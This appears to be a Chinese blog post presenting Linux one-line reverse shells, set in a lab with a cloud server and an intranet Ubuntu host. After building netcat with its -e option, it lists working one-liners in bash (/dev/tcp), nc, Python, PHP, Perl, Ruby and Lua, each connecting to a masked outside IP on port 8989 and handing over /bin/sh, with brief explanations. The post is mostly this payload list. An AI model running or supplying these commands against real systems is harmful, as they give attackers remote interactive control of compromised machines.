linux一句话反弹shell

简介: 参考文献:https://www.anquanke.com/post/id/87017实验环境:阿里云服务器:120.xxx.xxx.xx(开启了8989端口)内网ubuntu:192.xxx.xx.xxx(无外网ip不可直接访问)安装netcat默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e这里都被阉割了,所以需要手动下载二进制安装包。
+关注继续查看

参考文献:https://www.anquanke.com/post/id/87017

实验环境:

阿里云服务器:120.xxx.xxx.xx(开启了8989端口)
内网ubuntu:192.xxx.xx.xxx(无外网ip不可直接访问)

安装netcat

默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e这里都被阉割了,所以需要手动下载二进制安装包。

下载安装包:
#wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz --no-check-certifica
解压:
#tar -xvzf netcat-0.7.1.tar.gz
编译安装:
/netcat-0.7.1# ./configure
/netcat-0.7.1# make
/netcat-0.7.1# make install
/netcat-0.7.1# make clean

1.使用bash命令反弹

1.1先在服务器上监听8989端口
nc -l -p 8989
1.2在目标机器上执行以下命令

bash -i >& /dev/tcp/120.xxx.xxx.xx/8989 0>&1
bash -i:产生一个bash交互环境
>&:将联合符号前面的内容与后面相结合然后一起重定向给后者
/dev/tcp/120.xxx.xxx.xx/8989:让攻击方与目标主机建立tcp链接
0>&1:将`标准的输入`与`标准输出`内容相结合,然后重定向给前面`标准输出`内容

2.使用nc反弹

2.1先在服务器上监听8989端口
nc -l -p 8989
2.2在目标机器上执行以下命令
nc -e /bin/sh 120.xxx.xxx.xx 8989

3.一句话反弹shell

3.1python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.xxx.xxx.xxx",8989));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

3.2php

php -r '$sock=fsockopen("120.xxx.xxx.xxx",8989);exec("/bin/sh -i <&3 >&3 2>&3");'

3.3perl

perl -e 'use Socket;$i="120.xxx.xxx.xxx";$p=8989;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

3.4ruby

ruby -rsocket -e'f=TCPSocket.open("120.xxx.xxx.xxx",8989).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

3.5lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('120.xxx.xxx.xxx','8989');os.execute('/bin/sh -i <&3 >&3 2>&3');"
目录
相关文章
|
8天前
|
Linux Shell 数据安全/隐私保护
Linux中的shell外壳与权限(包含目录文件的权限,粘滞位的来龙去脉)(上)
Linux中的shell外壳与权限(包含目录文件的权限,粘滞位的来龙去脉)
|
8天前
|
Linux Shell
Linux中的shell外壳与权限(包含目录文件的权限,粘滞位的来龙去脉)(下)
Linux中的shell外壳与权限(包含目录文件的权限,粘滞位的来龙去脉)
|
8天前
|
Linux Shell 程序员
【Linux】shell运行原理及权限
前几期文章重点讲解了Linux的一些基本指令,让大家能够快速的上手使用Linux,也不知道大家运用的熟练不,今天我们深入学习下Linux的shell命令以及运行原理和Linux下的权限方面的一些知识。
|
8天前
|
Shell Linux UED
Linux | 浅谈Shell运行原理【王婆竟是资本家】
Linux | 浅谈Shell运行原理【王婆竟是资本家】
17 0
|
19天前
|
存储 Shell Linux
【Linux】教你用进程替换制作一个简单的Shell解释器
【Linux】教你用进程替换制作一个简单的Shell解释器
|
24天前
|
Shell Linux 开发工具
Linux加强篇004-Vim编辑器与Shell命令脚本
山重水复疑无路,柳暗花明又一村
224 1
Linux加强篇004-Vim编辑器与Shell命令脚本
|
24天前
|
Shell Linux
Linux Shell脚本调试方法
Linux Shell脚本调试方法
|
25天前
|
Shell Linux Perl
linux shell比较命令
num1-eq num2 等于 [ 3 -eq $mynum ] num1-ne num2 不等于 [ 3 -ne $mynum ] num1-lt num2 小于 [ 3 -lt $mynum ] num1-le num2 小于或等于 [ 3 -le $mynum ]
16 0
|
25天前
|
Shell Linux
Linux 如何给shell脚本传参数
name=中1&quot;中1&quot;中1为系统提供的位置参数,代表程序的名称,0代表程序的名称,[0代表程序的名称,[1/$2/…]从1开始为传递的参数。
15 0
|
25天前
|
Linux Shell
Linux判断目录是否存在命令,Linux shell 中判断文件、目录是否存在的方法
本文主要介绍了Linux 中 使用 shell 判断文件、目录是否存在的方法,分享给大家
22 0
相关产品
云迁移中心
推荐文章
更多